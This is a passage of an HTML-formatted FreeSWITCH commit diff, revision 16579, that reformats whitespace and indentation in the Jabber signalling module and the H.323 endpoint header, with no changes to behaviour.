</span><span class="cx">         mdl_profile_t *profile = NULL, *old_profile = NULL;
</span><del>-        switch_xml_t cfg, xml, /*settings,*/ param, xmlint;
</del><ins>+        switch_xml_t cfg, xml, /*settings, */ param, xmlint;
</ins><span class="cx"> 
</span><span class="cx">         void *data = NULL;
</span><span class="cx">         switch_hash_t *name_hash;
</span><span class="lines">@@ -2398,7 +2401,7 @@
</span><span class="cx">                         char *var = (char *) switch_xml_attr_soft(param, &quot;name&quot;);
</span><span class="cx">                         char *val = (char *) switch_xml_attr_soft(param, &quot;value&quot;);
</span><span class="cx"> 
</span><del>-                        if (!profile) {
</del><ins>+                        if (!profile) {
</ins><span class="cx">                                 profile = switch_core_alloc(module_pool, sizeof(*profile));
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="lines">@@ -2481,7 +2484,7 @@
</span><span class="cx">         for (hi = switch_hash_first(NULL, name_hash); hi; hi = switch_hash_next(hi)) {
</span><span class="cx">                 switch_hash_this(hi, NULL, NULL, &amp;data);
</span><span class="cx"> 
</span><del>-                if ((profile = switch_core_hash_find(globals.profile_hash, (char*)data))) {
</del><ins>+                if ((profile = switch_core_hash_find(globals.profile_hash, (char *) data))) {
</ins><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Deleting unused profile %s [%s]\n&quot;, profile-&gt;name, profile-&gt;login);
</span><span class="cx">                         destroy_profile(profile-&gt;name);
</span><span class="cx">                 }
</span><span class="lines">@@ -2695,7 +2698,8 @@
</span><span class="cx">         switch_safe_free(xmlstr);
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static ldl_status handle_signalling(ldl_handle_t *handle, ldl_session_t *dlsession, ldl_signal_t dl_signal, char *to, char *from, char *subject, char *msg)
</del><ins>+static ldl_status handle_signalling(ldl_handle_t *handle, ldl_session_t *dlsession, ldl_signal_t dl_signal, char *to, char *from, char *subject,
+                                                                        char *msg)
</ins><span class="cx"> {
</span><span class="cx">         mdl_profile_t *profile = NULL;
</span><span class="cx">         switch_core_session_t *session = NULL;
</span><span class="lines">@@ -2730,7 +2734,8 @@
</span><span class="cx"> 
</span><span class="cx">                         case LDL_SIGNAL_SUBSCRIBE:
</span><span class="cx">                                 if (profile-&gt;user_flags &amp; LDL_FLAG_COMPONENT &amp;&amp; ldl_jid_domcmp(from, to)) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Attempt to add presence from/to our own domain [%s][%s]\n&quot;, from, to);
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Attempt to add presence from/to our own domain [%s][%s]\n&quot;,
+                                                                          from, to);
</ins><span class="cx">                                 } else {
</span><span class="cx">                                         switch_mutex_lock(profile-&gt;mutex);
</span><span class="cx">                                         if ((sql = switch_mprintf(&quot;delete from jabber_subscriptions where sub_from='%q' and sub_to='%q'&quot;, from, to))) {
</span><span class="lines">@@ -2839,9 +2844,9 @@
</span><span class="cx"> 
</span><span class="cx">                 switch (dl_signal) {
</span><span class="cx">                 case LDL_SIGNAL_MSG:{
</span><del>-                        char *proto = MDL_CHAT_PROTO;
-                        char *pproto = NULL, *ffrom = NULL;
-                        char *hint;
</del><ins>+                                char *proto = MDL_CHAT_PROTO;
+                                char *pproto = NULL, *ffrom = NULL;
+                                char *hint;
</ins><span class="cx"> #ifdef AUTO_REPLY
</span><span class="cx">                                 if (profile-&gt;auto_reply) {
</span><span class="cx">                                         ldl_handle_send_msg(handle,
</span><span class="lines">@@ -2867,8 +2872,8 @@
</span><span class="cx">                                         }
</span><span class="cx">                                         from = ffrom;
</span><span class="cx">                                 }
</span><del>-                                
-                                if (strcasecmp(proto, MDL_CHAT_PROTO)) { /* yes no ! on purpose */
</del><ins>+
+                                if (strcasecmp(proto, MDL_CHAT_PROTO)) {        /* yes no ! on purpose */
</ins><span class="cx">                                         switch_core_chat_send(proto, MDL_CHAT_PROTO, from, to, subject, switch_str_nil(msg), NULL, hint);
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="lines">@@ -2920,7 +2925,7 @@
</span><span class="cx">                         status = LDL_STATUS_FALSE;
</span><span class="cx">                         goto done;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">         } else {
</span><span class="cx">                 if (dl_signal != LDL_SIGNAL_INITIATE &amp;&amp; !msg) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Session is already dead\n&quot;);
</span><span class="lines">@@ -3156,7 +3161,8 @@
</span><span class="cx">                                 unsigned int x, y;
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%u payloads\n&quot;, len);
</span><span class="cx">                                 for (x = 0; x &lt; len; x++) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Available Payload %s %u\n&quot;, payloads[x].name, payloads[x].id);
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Available Payload %s %u\n&quot;, payloads[x].name,
+                                                                          payloads[x].id);
</ins><span class="cx">                                         for (y = 0; y &lt; tech_pvt-&gt;num_codecs; y++) {
</span><span class="cx">                                                 char *name = tech_pvt-&gt;codecs[y]-&gt;iananame;
</span><span class="cx"> 
</span><span class="lines">@@ -3174,8 +3180,8 @@
</span><span class="cx"> 
</span><span class="cx">                                                 if (match &amp;&amp; payloads[x].rate == tech_pvt-&gt;codecs[y]-&gt;samples_per_second) {
</span><span class="cx">                                                         tech_pvt-&gt;codec_index = y;
</span><del>-                                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Choosing Payload index %u %s %u\n&quot;, y, payloads[x].name,
-                                                                                          payloads[x].id);
</del><ins>+                                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Choosing Payload index %u %s %u\n&quot;, y,
+                                                                                          payloads[x].name, payloads[x].id);
</ins><span class="cx">                                                         tech_pvt-&gt;codec_name = tech_pvt-&gt;codecs[y]-&gt;iananame;
</span><span class="cx">                                                         tech_pvt-&gt;codec_num = tech_pvt-&gt;codecs[y]-&gt;ianacode;
</span><span class="cx">                                                         tech_pvt-&gt;r_codec_num = (switch_payload_t) (payloads[x].id);
</span><span class="lines">@@ -3252,7 +3258,8 @@
</span><span class="cx">                                                 lanaddr = strncasecmp(candidates[x].address, profile-&gt;lanaddr, strlen(profile-&gt;lanaddr)) ? 0 : 1;
</span><span class="cx">                                         }
</span><span class="cx"> 
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;candidates %s:%d\n&quot;, candidates[x].address, candidates[x].port);
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;candidates %s:%d\n&quot;, candidates[x].address,
+                                                                          candidates[x].port);
</ins><span class="cx"> 
</span><span class="cx">                                         // 192.0.0.0 - 192.0.127.255 is marked as reserved, should we filter all of them?
</span><span class="cx">                                         if (!strcasecmp(candidates[x].protocol, &quot;udp&quot;) &amp;&amp;
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_h323mod_h323h"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_h323/mod_h323.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_h323/mod_h323.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_h323/mod_h323.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -54,10 +54,10 @@
</span><span class="cx"> } TFLAGS;
</span><span class="cx"> 
</span><span class="cx"> struct mod_h323_globals {
</span><del>-    int trace_level;
-    char *codec_string;
-    char *context;
-    char *dialplan;
</del><ins>+        int trace_level;
+        char *codec_string;
+        char *context;
+        char *dialplan;
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> extern struct mod_h323_globals mod_h323_globals;
</span><span class="lines">@@ -67,19 +67,19 @@
</span><span class="cx"> 
</span><span class="cx"> typedef struct {
</span><span class="cx">         unsigned int flags;
</span><del>-    switch_timer_t read_timer;
-    switch_codec_t read_codec;
-    switch_codec_t write_codec;
</del><ins>+        switch_timer_t read_timer;
+        switch_codec_t read_codec;
+        switch_codec_t write_codec;
</ins><span class="cx">         switch_frame_t read_frame;
</span><del>-        
-    switch_timer_t vid_read_timer;
-    switch_codec_t vid_read_codec;
-    switch_codec_t vid_write_codec;
</del><ins>+
+        switch_timer_t vid_read_timer;
+        switch_codec_t vid_read_codec;
+        switch_codec_t vid_write_codec;
</ins><span class="cx">         switch_rtp_t *rtp_session;
</span><span class="cx">         switch_mutex_t *flag_mutex;
</span><span class="cx">         switch_mutex_t *h323_mutex;
</span><del>-        
-    FSH323Connection *me;
</del><ins>+
+        FSH323Connection *me;
</ins><span class="cx"> } h323_private_t;
</span><span class="cx"> 
</span><span class="cx"> #define DECLARE_CALLBACK0(name)                           \
</span><span class="lines">@@ -101,161 +101,142 @@
</span><span class="cx"> switch_status_t name(type1 name1, type2 name2, type3 name3)
</span><span class="cx"> 
</span><span class="cx"> class FSH323EndPoint;
</span><del>-class FSProcess : public PLibraryProcess {
-    PCLASSINFO(FSProcess, PLibraryProcess);
</del><ins>+class FSProcess:public PLibraryProcess {
+        PCLASSINFO(FSProcess, PLibraryProcess);
</ins><span class="cx"> 
</span><del>- public:
-    FSProcess();
-    ~FSProcess();
</del><ins>+  public:
+        FSProcess();
+        ~FSProcess();
</ins><span class="cx"> 
</span><del>-    bool Initialise(switch_loadable_module_interface_t *iface);
</del><ins>+        bool Initialise(switch_loadable_module_interface_t *iface);
</ins><span class="cx"> 
</span><del>-    FSH323EndPoint &amp; GetH323EndPoint() const { return *m_h323endpoint; }
-
-  protected:
-    FSH323EndPoint * m_h323endpoint;
</del><ins>+             FSH323EndPoint &amp; GetH323EndPoint() const {
+                return *m_h323endpoint;
+  } protected:
+              FSH323EndPoint * m_h323endpoint;
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> struct FSListener {
</span><del>-    FSListener() {
-    }
-
-    PString name;
-    H323ListenerTCP *listenAddress;
-    PString localUserName;
-    PString gatekeeper;
</del><ins>+        FSListener() {
+        } PString name;
+        H323ListenerTCP *listenAddress;
+        PString localUserName;
+        PString gatekeeper;
</ins><span class="cx"> };
</span><span class="cx"> class FSGkRegThread;
</span><span class="cx"> 
</span><span class="cx"> class FSH323EndPoint:public H323EndPoint {
</span><span class="cx"> 
</span><del>-    PCLASSINFO(FSH323EndPoint, H323EndPoint);
-        public:
-                FSH323EndPoint();
-                ~FSH323EndPoint();
-                
-                
</del><ins>+        PCLASSINFO(FSH323EndPoint, H323EndPoint);
+  public:
+        FSH323EndPoint();
+        ~FSH323EndPoint();
+
+
</ins><span class="cx">          /**Create a connection that uses the specified call.
</span><span class="cx">       */
</span><del>-        virtual H323Connection* CreateConnection(
-                unsigned callReference, 
-                void* userData,
-                H323Transport* transport, 
-                H323SignalPDU* setupPDU
-        );
</del><ins>+        virtual H323Connection *CreateConnection(unsigned callReference, void *userData, H323Transport * transport, H323SignalPDU * setupPDU);
</ins><span class="cx">         virtual bool OnSetGatewayPrefixes(PStringList &amp; prefixes) const;
</span><del>-        
</del><ins>+
</ins><span class="cx">         bool Initialise(switch_loadable_module_interface_t *iface);
</span><del>-        
-    switch_status_t ReadConfig(int reload);
-        
-        void StartGkClient(int retry, PString* gkAddress,PString* gkIdentifer,PString* gkInterface);
</del><ins>+
+        switch_status_t ReadConfig(int reload);
+
+        void StartGkClient(int retry, PString * gkAddress, PString * gkIdentifer, PString * gkInterface);
</ins><span class="cx">         void StopGkClient();
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_endpoint_interface_t *GetSwitchInterface() const {
</span><del>-        return m_freeswitch;
-    }
-        FSH323Connection * FSMakeCall(const PString &amp; dest,void *userData);
-        list &lt;FSListener&gt; m_listeners;
</del><ins>+                return m_freeswitch;
+        } FSH323Connection *FSMakeCall(const PString &amp; dest, void *userData);
+                         list &lt; FSListener &gt; m_listeners;
</ins><span class="cx">         int m_ai;
</span><span class="cx">         int m_pi;
</span><del>-        protected:
-                PStringList m_gkPrefixes;
-                switch_endpoint_interface_t *m_freeswitch;
-                PString m_gkAddress;
-                PString m_gkIdentifer;
-                PString m_gkInterface;
-                bool m_faststart;
-                bool m_h245tunneling;
-                bool m_h245insetup;
-                int m_gkretry;
-                FSGkRegThread* m_thread;
</del><ins>+  protected:
+            PStringList m_gkPrefixes;
+        switch_endpoint_interface_t *m_freeswitch;
+        PString m_gkAddress;
+        PString m_gkIdentifer;
+        PString m_gkInterface;
+        bool m_faststart;
+        bool m_h245tunneling;
+        bool m_h245insetup;
+        int m_gkretry;
+        FSGkRegThread *m_thread;
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-class FSGkRegThread : public PThread
-{
-    PCLASSINFO(FSGkRegThread, PThread);
-public:
-    FSGkRegThread(FSH323EndPoint* endpoint, PString* gkAddress, PString* gkIdentifer, PString* gkInterface, int retry = 0)
-        : PThread(10000), m_ep(endpoint), m_retry(retry), m_gkAddress(gkAddress),m_gkIdentifer(gkIdentifer),m_gkInterface(gkInterface)
-        { }
-    void Main()
-        { m_ep-&gt;StartGkClient(m_retry,m_gkAddress,m_gkIdentifer,m_gkInterface); }
-protected:
-    FSH323EndPoint* m_ep;
-    int m_retry;
-    PString* m_gkAddress;
-        PString* m_gkIdentifer;
-        PString* m_gkInterface;
</del><ins>+class FSGkRegThread:public PThread {
+        PCLASSINFO(FSGkRegThread, PThread);
+  public:
+        FSGkRegThread(FSH323EndPoint * endpoint, PString * gkAddress, PString * gkIdentifer, PString * gkInterface, int retry = 0)
+  :        PThread(10000), m_ep(endpoint), m_retry(retry), m_gkAddress(gkAddress), m_gkIdentifer(gkIdentifer), m_gkInterface(gkInterface) {
+        } void Main() {
+                m_ep-&gt;StartGkClient(m_retry, m_gkAddress, m_gkIdentifer, m_gkInterface);
+        }
+  protected:
+        FSH323EndPoint * m_ep;
+        int m_retry;
+        PString *m_gkAddress;
+        PString *m_gkIdentifer;
+        PString *m_gkInterface;
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> class FSH323Connection:public H323Connection {
</span><del>-    PCLASSINFO(FSH323Connection, H323Connection)
</del><ins>+        PCLASSINFO(FSH323Connection, H323Connection)
</ins><span class="cx"> 
</span><span class="cx">   public:
</span><del>-        FSH323Connection(FSH323EndPoint&amp; endpoint, 
-                                        H323Transport* transport, 
-                                        unsigned callReference, 
-                                        switch_caller_profile_t *outbound_profile,
-                                        switch_core_session_t *fsSession,
-                                        switch_channel_t *fsChannel);
</del><ins>+        FSH323Connection(FSH323EndPoint &amp; endpoint,
+                                         H323Transport * transport,
+                                         unsigned callReference, switch_caller_profile_t *outbound_profile, switch_core_session_t *fsSession, switch_channel_t *fsChannel);
</ins><span class="cx"> 
</span><del>-        ~FSH323Connection();                                
</del><ins>+                        ~FSH323Connection();
</ins><span class="cx"> 
</span><del>-        virtual H323Channel* CreateRealTimeLogicalChannel(
-                const H323Capability&amp; capability, 
-                H323Channel::Directions dir,
-                unsigned sessionID,
-                const H245_H2250LogicalChannelParameters* param,
-                RTP_QOS * rtpqos = NULL
-        );
-        virtual PBoolean OnStartLogicalChannel(H323Channel&amp; channel);
-        virtual PBoolean OnCreateLogicalChannel(const H323Capability&amp; capability, H323Channel::Directions dir, unsigned&amp; errorCode);
-        virtual        bool OnReceivedSignalSetup(const H323SignalPDU &amp; setupPDU);
-        virtual        bool OnReceivedCallProceeding(const H323SignalPDU &amp; pdu);
</del><ins>+        virtual H323Channel *CreateRealTimeLogicalChannel(const H323Capability &amp; capability,
+                                                                                                          H323Channel::Directions dir,
+                                                                                                          unsigned sessionID, const H245_H2250LogicalChannelParameters * param, RTP_QOS * rtpqos = NULL);
+        virtual PBoolean OnStartLogicalChannel(H323Channel &amp; channel);
+        virtual PBoolean OnCreateLogicalChannel(const H323Capability &amp; capability, H323Channel::Directions dir, unsigned &amp;errorCode);
+        virtual bool OnReceivedSignalSetup(const H323SignalPDU &amp; setupPDU);
+        virtual bool OnReceivedCallProceeding(const H323SignalPDU &amp; pdu);
</ins><span class="cx">         virtual void OnReceivedReleaseComplete(const H323SignalPDU &amp; pdu);
</span><del>-        virtual        bool OnReceivedProgress(const H323SignalPDU &amp;);
</del><ins>+        virtual bool OnReceivedProgress(const H323SignalPDU &amp;);
</ins><span class="cx">         virtual bool OnSendCallProceeding(H323SignalPDU &amp; callProceedingPDU);
</span><span class="cx">         virtual bool OnSendReleaseComplete(H323SignalPDU &amp; pdu);
</span><del>-        virtual PBoolean OpenLogicalChannel(const H323Capability&amp; capability, unsigned sessionID, H323Channel::Directions dir);
-    void setRemoteAddress(const char* remoteIP, WORD remotePort);
</del><ins>+        virtual PBoolean OpenLogicalChannel(const H323Capability &amp; capability, unsigned sessionID, H323Channel::Directions dir);
+        void setRemoteAddress(const char *remoteIP, WORD remotePort);
</ins><span class="cx">         virtual void OnSetLocalCapabilities();
</span><del>-        virtual bool OnAlerting(const H323SignalPDU &amp;alertingPDU, const PString &amp;user);
</del><ins>+        virtual bool OnAlerting(const H323SignalPDU &amp; alertingPDU, const PString &amp; user);
</ins><span class="cx">         virtual void AnsweringCall(AnswerCallResponse response);
</span><span class="cx">         virtual void OnEstablished();
</span><span class="cx">         bool SetLocalCapabilities();
</span><del>-        static bool decodeCapability(const H323Capability&amp; capability, const char** dataFormat, int* payload = 0, PString* capabName = 0);
-        virtual H323Connection::AnswerCallResponse OnAnswerCall(const PString&amp; caller,
-                                                const H323SignalPDU&amp; signalPDU, H323SignalPDU&amp; connectPDU);
</del><ins>+        static bool decodeCapability(const H323Capability &amp; capability, const char **dataFormat, int *payload = 0, PString * capabName = 0);
+        virtual H323Connection::AnswerCallResponse OnAnswerCall(const PString &amp; caller, const H323SignalPDU &amp; signalPDU, H323SignalPDU &amp; connectPDU);
</ins><span class="cx">         virtual bool OnReceivedCapabilitySet(const H323Capabilities &amp; remoteCaps,
</span><del>-                                                                const H245_MultiplexCapability * muxCap,
-                                                                H245_TerminalCapabilitySetReject &amp; reject);
</del><ins>+                                                                                 const H245_MultiplexCapability * muxCap, H245_TerminalCapabilitySetReject &amp; reject);
</ins><span class="cx">         switch_core_session_t *GetSession() const {
</span><del>-        return m_fsSession;
-    }
-        virtual void SendUserInputTone(char tone, unsigned duration = 0, unsigned logicalChannel = 0, unsigned rtpTimestamp = 0);
</del><ins>+                return m_fsSession;
+        } virtual void SendUserInputTone(char tone, unsigned duration = 0, unsigned logicalChannel = 0, unsigned rtpTimestamp = 0);
</ins><span class="cx">         virtual void OnUserInputTone(char, unsigned, unsigned, unsigned);
</span><del>-        virtual void OnUserInputString(const PString &amp;value);
-        DECLARE_CALLBACK0(on_init);
-    DECLARE_CALLBACK0(on_routing);
-    DECLARE_CALLBACK0(on_execute);
</del><ins>+        virtual void OnUserInputString(const PString &amp; value);
+              DECLARE_CALLBACK0(on_init);
+              DECLARE_CALLBACK0(on_routing);
+              DECLARE_CALLBACK0(on_execute);
</ins><span class="cx"> 
</span><del>-    DECLARE_CALLBACK0(on_exchange_media);
-    DECLARE_CALLBACK0(on_soft_execute);
</del><ins>+              DECLARE_CALLBACK0(on_exchange_media);
+              DECLARE_CALLBACK0(on_soft_execute);
</ins><span class="cx"> 
</span><del>-    DECLARE_CALLBACK1(kill_channel, int, sig);
-    DECLARE_CALLBACK1(send_dtmf, const switch_dtmf_t *, dtmf);
-    DECLARE_CALLBACK1(receive_message, switch_core_session_message_t *, msg);
-    DECLARE_CALLBACK1(receive_event, switch_event_t *, event);
-    DECLARE_CALLBACK0(state_change);
</del><ins>+              DECLARE_CALLBACK1(kill_channel, int, sig);
+            DECLARE_CALLBACK1(send_dtmf, const switch_dtmf_t *, dtmf);
+                      DECLARE_CALLBACK1(receive_message, switch_core_session_message_t *, msg);
+                                      DECLARE_CALLBACK1(receive_event, switch_event_t *, event);
+                       DECLARE_CALLBACK0(state_change);
</ins><span class="cx"> 
</span><del>-        DECLARE_CALLBACK3(read_audio_frame, switch_frame_t **, frame, switch_io_flag_t, flags, int, stream_id);
-    DECLARE_CALLBACK3(write_audio_frame, switch_frame_t *, frame, switch_io_flag_t, flags, int, stream_id);
-    DECLARE_CALLBACK3(read_video_frame, switch_frame_t **, frame, switch_io_flag_t, flag, int, stream_id);
-    DECLARE_CALLBACK3(write_video_frame, switch_frame_t *, frame, switch_io_flag_t, flag, int, stream_id);
-        
</del><ins>+                       DECLARE_CALLBACK3(read_audio_frame, switch_frame_t **, frame, switch_io_flag_t, flags, int, stream_id);
+            DECLARE_CALLBACK3(write_audio_frame, switch_frame_t *, frame, switch_io_flag_t, flags, int, stream_id);
+            DECLARE_CALLBACK3(read_video_frame, switch_frame_t **, frame, switch_io_flag_t, flag, int, stream_id);
+            DECLARE_CALLBACK3(write_video_frame, switch_frame_t *, frame, switch_io_flag_t, flag, int, stream_id);
+
</ins><span class="cx">         bool m_callOnPreAnswer;
</span><span class="cx">         bool m_startRTP;
</span><span class="cx">         bool m_rxChennel;
</span><span class="lines">@@ -263,44 +244,38 @@
</span><span class="cx">         bool m_ChennelAnswer;
</span><span class="cx">         bool m_ChennelProgress;
</span><span class="cx">         PSyncPoint m_rxAudioOpened;
</span><del>-        PSyncPoint m_txAudioOpened;    
</del><ins>+        PSyncPoint m_txAudioOpened;
</ins><span class="cx">   protected:
</span><del>-        FSH323EndPoint * m_endpoint;
</del><ins>+                   FSH323EndPoint * m_endpoint;
</ins><span class="cx">         PString m_remoteAddr;
</span><del>-    int m_remotePort;
</del><ins>+        int m_remotePort;
</ins><span class="cx">         switch_core_session_t *m_fsSession;
</span><del>-    switch_channel_t *m_fsChannel;
-        PIPSocket::Address m_RTPlocalIP;
</del><ins>+        switch_channel_t *m_fsChannel;
+                         PIPSocket::Address m_RTPlocalIP;
</ins><span class="cx">         WORD m_RTPlocalPort;
</span><span class="cx">         unsigned char m_buf[SWITCH_RECOMMENDED_BUFFER_SIZE];
</span><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-class FSH323_ExternalRTPChannel : public H323_ExternalRTPChannel{
-    PCLASSINFO(FSH323_ExternalRTPChannel, H323_ExternalRTPChannel);
-public:
-    /* Create a new channel. */
-    FSH323_ExternalRTPChannel(
-                FSH323Connection&amp; connection,
-                const H323Capability&amp; capability,
-                Directions direction,
-                unsigned sessionID,
-                const PIPSocket::Address&amp; ip, 
-                WORD dataPort
-        );
-    /* Destructor */
-    ~FSH323_ExternalRTPChannel();
</del><ins>+class FSH323_ExternalRTPChannel:public H323_ExternalRTPChannel {
+        PCLASSINFO(FSH323_ExternalRTPChannel, H323_ExternalRTPChannel);
+  public:
+        /* Create a new channel. */
+        FSH323_ExternalRTPChannel(FSH323Connection &amp; connection,
+                                                          const H323Capability &amp; capability, Directions direction, unsigned sessionID, const PIPSocket::Address &amp; ip, WORD dataPort);
+        /* Destructor */
+             ~FSH323_ExternalRTPChannel();
</ins><span class="cx"> 
</span><del>-    virtual PBoolean Start();
-    virtual PBoolean OnReceivedAckPDU(const H245_H2250LogicalChannelAckParameters&amp; param);
-    virtual PBoolean OnSendingPDU(H245_H2250LogicalChannelParameters&amp; param);
-    virtual PBoolean OnReceivedPDU(const H245_H2250LogicalChannelParameters&amp; param,unsigned&amp; errorCode);
-    virtual void OnSendOpenAck(H245_H2250LogicalChannelAckParameters&amp; param);
-        
</del><ins>+        virtual PBoolean Start();
+        virtual PBoolean OnReceivedAckPDU(const H245_H2250LogicalChannelAckParameters &amp; param);
+        virtual PBoolean OnSendingPDU(H245_H2250LogicalChannelParameters &amp; param);
+        virtual PBoolean OnReceivedPDU(const H245_H2250LogicalChannelParameters &amp; param, unsigned &amp;errorCode);
+        virtual void OnSendOpenAck(H245_H2250LogicalChannelAckParameters &amp; param);
</ins><span class="cx"> 
</span><del>-private:
-    FSH323Connection* m_conn;
-        const H323Capability* m_capability;
</del><ins>+
+  private:
+             FSH323Connection * m_conn;
+        const H323Capability *m_capability;
</ins><span class="cx">         switch_core_session_t *m_fsSession;
</span><span class="cx">         switch_channel_t *m_fsChannel;
</span><span class="cx">         switch_codec_t *m_switchCodec;
</span><span class="lines">@@ -312,124 +287,95 @@
</span><span class="cx">         PString m_RTPlocalIP;
</span><span class="cx">         WORD m_RTPlocalPort;
</span><span class="cx">         BYTE payloadCode;
</span><del>-        
</del><ins>+
</ins><span class="cx"> };
</span><span class="cx"> 
</span><del>-class BaseG7231Capab : public H323AudioCapability
-{
-    PCLASSINFO(BaseG7231Capab, H323AudioCapability);
-public:
-    BaseG7231Capab(const char* fname, bool annexA = true)
-        : H323AudioCapability(7,4), m_name(fname), m_aa(annexA)
-        { }
-        
-    virtual PObject* Clone() const{ 
-                return new BaseG7231Capab(*this); 
-        }
-        
-    virtual unsigned GetSubType() const{
-                return H245_AudioCapability::e_g7231; 
-        }
-        
-    virtual PString GetFormatName() const{
-                return m_name; 
-        }
-        
-    virtual H323Codec* CreateCodec(H323Codec::Direction direction) const{
-                return 0; 
-        }
-        
-    virtual Comparison Compare(const PObject&amp; obj) const{
-            Comparison res = H323AudioCapability::Compare(obj);
-            if (res != EqualTo)
-                        return res;
-            bool aa = static_cast&lt;const BaseG7231Capab&amp;&gt;(obj).m_aa;
-            if (aa &amp;&amp; !m_aa)
-                        return LessThan;
-            if (m_aa &amp;&amp; !aa)
-                        return GreaterThan;
-            return EqualTo;
-        }
-        
-    virtual bool OnSendingPDU(H245_AudioCapability&amp; pdu, unsigned packetSize) const        {
-            pdu.SetTag(GetSubType());
-            H245_AudioCapability_g7231&amp; g7231 = pdu;
-            g7231.m_maxAl_sduAudioFrames = packetSize;
-            g7231.m_silenceSuppression = m_aa;
-            return true;
-        }
-        
-    virtual bool OnReceivedPDU(const H245_AudioCapability&amp; pdu, unsigned&amp; packetSize){
-            if (pdu.GetTag() != H245_AudioCapability::e_g7231)
</del><ins>+class BaseG7231Capab:public H323AudioCapability {
+        PCLASSINFO(BaseG7231Capab, H323AudioCapability);
+  public:
+        BaseG7231Capab(const char *fname, bool annexA = true)
+  :        H323AudioCapability(7, 4), m_name(fname), m_aa(annexA) {
+        } virtual PObject *Clone() const {
+                return new BaseG7231Capab(*this);
+        } virtual unsigned GetSubType() const {
+                return H245_AudioCapability::e_g7231;
+        } virtual PString GetFormatName() const {
+                return m_name;
+        } virtual H323Codec *CreateCodec(H323Codec::Direction direction) const {
+                return 0;
+        } virtual Comparison Compare(const PObject &amp; obj) const {
+                Comparison res = H323AudioCapability::Compare(obj);
+                if         (res != EqualTo)
+                                   return res;
+                bool aa = static_cast &lt; const BaseG7231Capab &amp; &gt;(obj).m_aa;
+                if    (aa &amp;&amp; !m_aa)
+                              return LessThan;
+                if    (m_aa &amp;&amp; !aa)
+                              return GreaterThan;
+                      return EqualTo;
+        } virtual bool OnSendingPDU(H245_AudioCapability &amp; pdu, unsigned packetSize) const {
+                pdu.SetTag(GetSubType());
+                H245_AudioCapability_g7231 &amp; g7231 = pdu;
+                g7231.m_maxAl_sduAudioFrames = packetSize;
+                g7231.m_silenceSuppression = m_aa;
+                return true;
+        } virtual bool OnReceivedPDU(const H245_AudioCapability &amp; pdu, unsigned &amp;packetSize) {
+                if (pdu.GetTag() != H245_AudioCapability::e_g7231)
</ins><span class="cx">                         return false;
</span><del>-            const H245_AudioCapability_g7231&amp; g7231 = pdu;
-            packetSize = g7231.m_maxAl_sduAudioFrames;
-            m_aa = (g7231.m_silenceSuppression != 0);
-            return true;
</del><ins>+                const H245_AudioCapability_g7231 &amp; g7231 = pdu;
+                packetSize = g7231.m_maxAl_sduAudioFrames;
+                m_aa = (g7231.m_silenceSuppression != 0);
+                return true;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><del>-protected:
-    const char* m_name;
-    bool m_aa;
</del><ins>+  protected:
+        const char *m_name;
+        bool m_aa;
</ins><span class="cx"> };
</span><span class="cx"> 
</span><del>-class BaseG729Capab : public H323AudioCapability
-{
-    PCLASSINFO(BaseG729Capab, H323AudioCapability);
-public:
-    BaseG729Capab(const char* fname, unsigned type = H245_AudioCapability::e_g729)
-        : H323AudioCapability(24,6), m_name(fname), m_type(type)
-        { }
-    virtual PObject* Clone() const
-        // default copy constructor - take care!
-        { return new BaseG729Capab(*this); }
-    virtual unsigned GetSubType() const
-        { return m_type; }
-    virtual PString GetFormatName() const
-        { return m_name; }
-    virtual H323Codec* CreateCodec(H323Codec::Direction direction) const
-        { return 0; }
-protected:
-    const char* m_name;
-    unsigned m_type;
</del><ins>+class BaseG729Capab:public H323AudioCapability {
+        PCLASSINFO(BaseG729Capab, H323AudioCapability);
+  public:
+        BaseG729Capab(const char *fname, unsigned type = H245_AudioCapability::e_g729)
+  :        H323AudioCapability(24, 6), m_name(fname), m_type(type) {
+        } virtual PObject *Clone() const
+                // default copy constructor - take care!
+        {
+                return new BaseG729Capab(*this);
+        } virtual unsigned GetSubType() const {
+                return m_type;
+        } virtual PString GetFormatName() const {
+                return m_name;
+        } virtual H323Codec *CreateCodec(H323Codec::Direction direction) const {
+                return 0;
+  } protected:
+        const char *m_name;
+        unsigned m_type;
</ins><span class="cx"> };
</span><span class="cx"> 
